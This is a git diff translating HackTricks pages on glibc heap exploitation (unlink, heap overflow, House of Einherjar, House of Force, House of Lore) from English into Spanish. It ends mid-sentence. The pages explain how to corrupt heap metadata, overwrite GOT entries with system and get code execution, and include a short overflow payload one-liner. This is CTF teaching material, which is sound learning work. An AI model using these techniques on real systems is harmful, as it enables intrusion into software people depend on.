{ - if (p->fd_nextsize->bk_nextsize != p - || p->bk_nextsize->fd_nextsize != p) - malloc_printerr ("corrupted double-linked list (not small)"); +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); - // Added: If the FD is not in the nextsize list - if (fd->fd_nextsize == NULL) - { +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ - if (p->fd_nextsize == p) - fd->fd_nextsize = fd->bk_nextsize = fd; - else - // Link the nexsize list in when removing the new chunk - { - fd->fd_nextsize = p->fd_nextsize; - fd->bk_nextsize = p->bk_nextsize; - p->fd_nextsize->bk_nextsize = fd; - p->bk_nextsize->fd_nextsize = fd; - } - } - else - { - p->fd_nextsize->bk_nextsize = p->bk_nextsize; - p->bk_nextsize->fd_nextsize = p->fd_nextsize; - } - } +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} } ``` +### Explicación Gráfica -### Graphical Explanation - -Check this great graphical explanation of the unlink process: +Consulta esta gran explicación gráfica del proceso unlink:

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

-### Security Checks +### Comprobaciones de Seguridad -- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk -- Check also that `P->fd->bk == P` and `P->bk->fw == P` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` +- Verifica si el tamaño indicado del chunk es el mismo que el prev_size indicado en el siguiente chunk +- Verifica también que `P->fd->bk == P` y `P->bk->fw == P` +- Si el chunk no es pequeño, verifica que `P->fd_nextsize->bk_nextsize == P` y `P->bk_nextsize->fd_nextsize == P` -### Leaks +### Fugas -An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: +Un chunk desvinculado no limpia las direcciones asignadas, por lo que al tener acceso a él, es posible filtrar algunas direcciones interesantes: -Libc Leaks: +Fugas de Libc: -- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc -- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc -- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. +- Si P está ubicado en la cabeza de la lista doblemente enlazada, `bk` apuntará a `malloc_state` en libc +- Si P está ubicado al final de la lista doblemente enlazada, `fd` apuntará a `malloc_state` en libc +- Cuando la lista doblemente enlazada contiene solo un chunk libre, P está en la lista doblemente enlazada, y tanto `fd` como `bk` pueden filtrar la dirección dentro de `malloc_state`. -Heap leaks: +Fugas de Heap: -- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap -- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap -- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap +- Si P está ubicado en la cabeza de la lista doblemente enlazada, `fd` apuntará a un chunk disponible en el heap +- Si P está ubicado al final de la lista doblemente enlazada, `bk` apuntará a un chunk disponible en el heap +- Si P está en la lista doblemente enlazada, tanto `fd` como `bk` apuntarán a un chunk disponible en el heap {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 24ea86a70..c8593e486 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -1,50 +1,48 @@ -# Heap Overflow +# Desbordamiento de Heap {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** +Un desbordamiento de heap es como un [**desbordamiento de pila**](../stack-overflow/) pero en el heap. Básicamente significa que se reservó un espacio en el heap para almacenar algunos datos y **los datos almacenados eran más grandes que el espacio reservado.** -In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. +En los desbordamientos de pila sabemos que algunos registros como el puntero de instrucción o el marco de pila se van a restaurar desde la pila y podría ser posible abusar de esto. En el caso de los desbordamientos de heap, **no hay información sensible almacenada por defecto** en el bloque de heap que puede ser desbordado. Sin embargo, podría haber información sensible o punteros, por lo que la **criticidad** de esta vulnerabilidad **depende** de **qué datos podrían ser sobrescritos** y cómo un atacante podría abusar de esto. > [!TIP] -> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> Para encontrar los desplazamientos de desbordamiento, puedes usar los mismos patrones que en [**desbordamientos de pila**](../stack-overflow/#finding-stack-overflows-offsets). -### Stack Overflows vs Heap Overflows +### Desbordamientos de Pila vs Desbordamientos de Heap -In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. +En los desbordamientos de pila, la disposición y los datos que van a estar presentes en la pila en el momento en que se puede activar la vulnerabilidad son bastante confiables. Esto se debe a que la pila es lineal, siempre aumentando en memoria colisionante, en **lugares específicos de la ejecución del programa, la memoria de la pila generalmente almacena un tipo de datos similar** y tiene una estructura específica con algunos punteros al final de la parte de la pila utilizada por cada función. -However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. +Sin embargo, en el caso de un desbordamiento de heap, la memoria utilizada no es lineal, sino que **los bloques asignados suelen estar en posiciones separadas de la memoria** (no uno al lado del otro) debido a **bins y zonas** que separan las asignaciones por tamaño y porque **la memoria previamente liberada se utiliza** antes de asignar nuevos bloques. Es **complicado saber el objeto que va a colisionar con el que es vulnerable** a un desbordamiento de heap. Por lo tanto, cuando se encuentra un desbordamiento de heap, es necesario encontrar una **manera confiable de hacer que el objeto deseado esté al lado en memoria** del que puede ser desbordado. -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza por ejemplo [**en esta publicación**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En la publicación se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques). -Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. +Por lo tanto, en la publicación anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**. -In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. +Para forzar este llenado con objetos de un tamaño específico, la **asignación fuera de línea asociada con un puerto mach de iOS** es un candidato ideal. Al elaborar el tamaño del mensaje, es posible especificar exactamente el tamaño de la asignación `kalloc` y cuando el puerto mach correspondiente se destruye, la asignación correspondiente se liberará inmediatamente de nuevo a `kfree`. -Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object. +Luego, algunos de estos marcadores de posición pueden ser **liberados**. La **lista libre `kalloc.4096` libera elementos en un orden de último en entrar, primero en salir**, lo que básicamente significa que si algunos marcadores de posición son liberados y el exploit intenta asignar varios objetos víctima mientras intenta asignar el objeto vulnerable al desbordamiento, es probable que este objeto sea seguido por un objeto víctima. -### Example libc +### Ejemplo libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribiendo el bit de anterior en uso del siguiente bloque y la posición del tamaño anterior es posible **consolidar un bloque usado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que se están utilizando en un puntero diferente también. -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +Otro ejemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) muestra un ejemplo muy básico de un CTF donde un **desbordamiento de heap** puede ser abusado para llamar a la función ganadora para **obtener la bandera**. -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +En el ejemplo de [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) es posible ver cómo abusando de un desbordamiento de búfer es posible **sobrescribir en un bloque cercano una dirección** donde **se van a escribir datos arbitrarios del usuario**. -### Example ARM64 - -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: +### Ejemplo ARM64 +En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Así que, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` - -### Other examples +### Otros ejemplos - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - - We use an Integer Overflow vulnerability to get a Heap Overflow. - - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +- Usamos una vulnerabilidad de desbordamiento de enteros para obtener un desbordamiento de heap. +- Corrompemos punteros a una función dentro de un `struct` del chunk desbordado para establecer una función como `system` y obtener ejecución de código. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index 28c6fd437..a3eff8807 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -2,48 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -### Code +### Código -- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) -- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) +- Consulta el ejemplo de [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) +- O el de [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (puede que necesites llenar el tcache) -### Goal +### Objetivo -- The goal is to allocate memory in almost any specific address. +- El objetivo es asignar memoria en casi cualquier dirección específica. -### Requirements +### Requisitos -- Create a fake chunk when we want to allocate a chunk: - - Set pointers to point to itself to bypass sanity checks -- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. -- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - - The fake chunk size must also have been set the same size to bypass sanity checks -- For constructing these chunks, you will need a heap leak. +- Crear un chunk falso cuando queramos asignar un chunk: +- Establecer punteros para que apunten a sí mismos para eludir las verificaciones de sanidad +- Desbordamiento de un byte con un byte nulo de un chunk al siguiente para modificar la bandera `PREV_INUSE`. +- Indicar en el `prev_size` del chunk abusado por el off-by-null la diferencia entre sí mismo y el chunk falso +- El tamaño del chunk falso también debe haberse establecido al mismo tamaño para eludir las verificaciones de sanidad +- Para construir estos chunks, necesitarás un leak de heap. -### Attack +### Ataque -- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections -- 2 other chunks (`B` and `C`) are allocated -- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. -- Then, the tcache is filled -- Then, `C` is freed so it consolidates with the fake chunk `A` -- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - - The house of Einherjar finishes here -- This can be continued with a fast bin attack or Tcache poisoning: - - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - - Then, 2 mallocs are done and the second one is going to be **allocating the target address** +- Se crea un chunk `A` dentro de un chunk controlado por el atacante apuntando con `fd` y `bk` al chunk original para eludir las protecciones +- Se asignan 2 chunks más (`B` y `C`) +- Abusando del off by one en el `B`, se limpia el bit `prev in use` y los datos de `prev_size` se sobrescriben con la diferencia entre el lugar donde se asigna el chunk `C`, al chunk falso `A` generado antes +- Este `prev_size` y el tamaño en el chunk falso `A` deben ser los mismos para eludir las verificaciones. +- Luego, se llena el tcache +- Luego, se libera `C` para que se consolide con el chunk falso `A` +- Luego, se crea un nuevo chunk `D` que comenzará en el chunk falso `A` y cubrirá el chunk `B` +- La casa de Einherjar termina aquí +- Esto se puede continuar con un ataque de fast bin o envenenamiento de Tcache: +- Libera `B` para agregarlo al fast bin / Tcache +- El `fd` de `B` se sobrescribe haciéndolo apuntar a la dirección objetivo abusando del chunk `D` (ya que contiene `B` dentro) +- Luego, se realizan 2 mallocs y el segundo va a ser **asignando la dirección objetivo** -## References and other examples +## Referencias y otros ejemplos - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. +- Después de liberar punteros, no se nulifican, por lo que aún es posible acceder a sus datos. Por lo tanto, se coloca un chunk en el bin no ordenado y se filtran los punteros que contiene (libc leak) y luego se coloca un nuevo heap en el bin no ordenado y se filtra una dirección de heap del puntero que obtiene. - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - - Null-byte overflow bug in `strtok`. - - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. +- Error de desbordamiento de byte nulo en `strtok`. +- Usa House of Einherjar para obtener una situación de chunks superpuestos y terminar con envenenamiento de Tcache para obtener un primitivo de escritura arbitraria. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index 7d4fb9247..1ee1f1e32 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -2,45 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -### Code +### Código -- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. +- Esta técnica fue parcheada ([**aquí**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) y produce este error: `malloc(): corrupted top size` +- Puedes probar el [**código de aquí**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) para testearlo si lo deseas. -### Goal +### Objetivo -- The goal of this attack is to be able to allocate a chunk in a specific address. +- El objetivo de este ataque es poder asignar un chunk en una dirección específica. -### Requirements +### Requisitos -- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). -- Be able to control the size of the heap allocation +- Un desbordamiento que permita sobrescribir el tamaño del encabezado del chunk superior (por ejemplo, -1). +- Poder controlar el tamaño de la asignación de heap. -### Attack +### Ataque -If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. - -Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated: +Si un atacante quiere asignar un chunk en la dirección P para sobrescribir un valor aquí. Comienza sobrescribiendo el tamaño del chunk superior con `-1` (quizás con un desbordamiento). Esto asegura que malloc no usará mmap para ninguna asignación ya que el chunk superior siempre tendrá suficiente espacio. +Luego, calcula la distancia entre la dirección del chunk superior y el espacio objetivo para asignar. Esto se debe a que se realizará un malloc con ese tamaño para mover el chunk superior a esa posición. Así es como se puede calcular fácilmente la diferencia/tamaño: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* - * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): - * new_top = old_top + nb - * nb = new_top - old_top - * req + 2sizeof(long) = new_top - old_top - * req = new_top - old_top - 2sizeof(long) - * req = target - 2sizeof(long) - old_top - 2sizeof(long) - * req = target - old_top - 4*sizeof(long) - */ +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ ``` +Por lo tanto, asignar un tamaño de `target - old_top - 4*sizeof(long)` (los 4 longs son por los metadatos del chunk superior y del nuevo chunk cuando se asigna) moverá el chunk superior a la dirección que queremos sobrescribir.\ +Luego, haz otro malloc para obtener un chunk en la dirección objetivo. -Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ -Then, do another malloc to get a chunk at the target address. - -### References & Other Examples +### Referencias y Otros Ejemplos - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) @@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address. - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function +- El objetivo de este escenario es un ret2win donde necesitamos modificar la dirección de una función que va a ser llamada por la dirección de la función ret2win. +- El binario tiene un desbordamiento que puede ser abusado para modificar el tamaño del chunk superior, que se modifica a -1 o p64(0xffffffffffffffff). +- Luego, se calcula la dirección al lugar donde existe el puntero a sobrescribir, y la diferencia desde la posición actual del chunk superior hasta allí se asigna con `malloc`. +- Finalmente, se asigna un nuevo chunk que contendrá este objetivo deseado dentro del cual se sobrescribe con la función ret2win. - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. +- En el `Input your name:` hay una vulnerabilidad inicial que permite filtrar una dirección de la heap. +- Luego, en la funcionalidad `Org:` y `Host:` es posible llenar los 64B del puntero `s` cuando se solicita el **nombre de la organización**, que en la pila es seguido por la dirección de v2, que luego es seguida por el **nombre del host** indicado. Como luego, strcpy va a copiar el contenido de s a un chunk de tamaño 64B, es posible **sobrescribir el tamaño del chunk superior** con los datos puestos dentro del **nombre del host**. +- Ahora que la escritura arbitraria es posible, el GOT de `atoi` fue sobrescrito con la dirección de printf. Luego fue posible filtrar la dirección de `IO_2_1_stderr` _con_ `%24$p`. Y con este leak de libc fue posible sobrescribir nuevamente el GOT de `atoi` con la dirección de `system` y llamarlo pasando como parámetro `/bin/sh`. +- Un método alternativo [propuesto en este otro informe](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) es sobrescribir `free` con `puts`, y luego agregar la dirección de `atoi@got`, en el puntero que será liberado más tarde para que se filtre y con este leak sobrescribir nuevamente `atoi@got` con `system` y llamarlo con `/bin/sh`. - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. +- Hay un UAF que permite reutilizar un chunk que fue liberado sin limpiar el puntero. Debido a que hay algunos métodos de lectura, es posible filtrar una dirección de libc escribiendo un puntero a la función free en el GOT aquí y luego llamando a la función de lectura. +- Luego, se utilizó House of force (abusando del UAF) para sobrescribir el tamaño del espacio restante con un -1, asignar un chunk lo suficientemente grande para llegar al free hook, y luego asignar otro chunk que contendrá el free hook. Luego, escribir en el hook la dirección de `system`, escribir en un chunk `"/bin/sh"` y finalmente liberar el chunk con ese contenido de cadena. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 862ba7323..e35321d0b 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -1,44 +1,44 @@ -# House of Lore | Small bin Attack +# Casa de Lore | Ataque de pequeño bin {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -### Code +### Código -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - - This isn't working -- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- Verifica el de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) +- Esto no está funcionando +- O: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) +- Esto no está funcionando incluso si intenta eludir algunas verificaciones obteniendo el error: `malloc(): unaligned tcache chunk detected` +- Este ejemplo todavía está funcionando: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) -### Goal +### Objetivo -- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. +- Insertar un **chunk pequeño falso en el pequeño bin para que luego sea posible asignarlo**.\ +Nota que el chunk pequeño agregado es el falso que crea el atacante y no uno falso en una posición arbitraria. -### Requirements +### Requisitos -- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` +- Crear 2 chunks falsos y enlazarlos entre sí y con el chunk legítimo en el pequeño bin: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk pequeño liberado a través de alguna otra vulnerabilidad) +- `legit.bk` -> `fake0` -Then you will be able to allocate `fake0`. +Entonces podrás asignar `fake0`. -### Attack +### Ataque -- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** -- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` -- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins -- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. +- Se asigna un chunk pequeño (`legit`), luego se asigna otro para evitar la consolidación con el chunk superior. Luego, `legit` se libera (moviendo a la lista de bin no ordenados) y se asigna un chunk más grande, **moviendo `legit` al pequeño bin.** +- Un atacante genera un par de chunks pequeños falsos y realiza el enlace necesario para eludir las verificaciones de sanidad: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk pequeño liberado a través de alguna otra vulnerabilidad) +- `legit.bk` -> `fake0` +- Se asigna un chunk pequeño para obtener legit, haciendo **`fake0`** en la lista superior de pequeños bins +- Se asigna otro chunk pequeño, obteniendo `fake0` como un chunk, permitiendo potencialmente 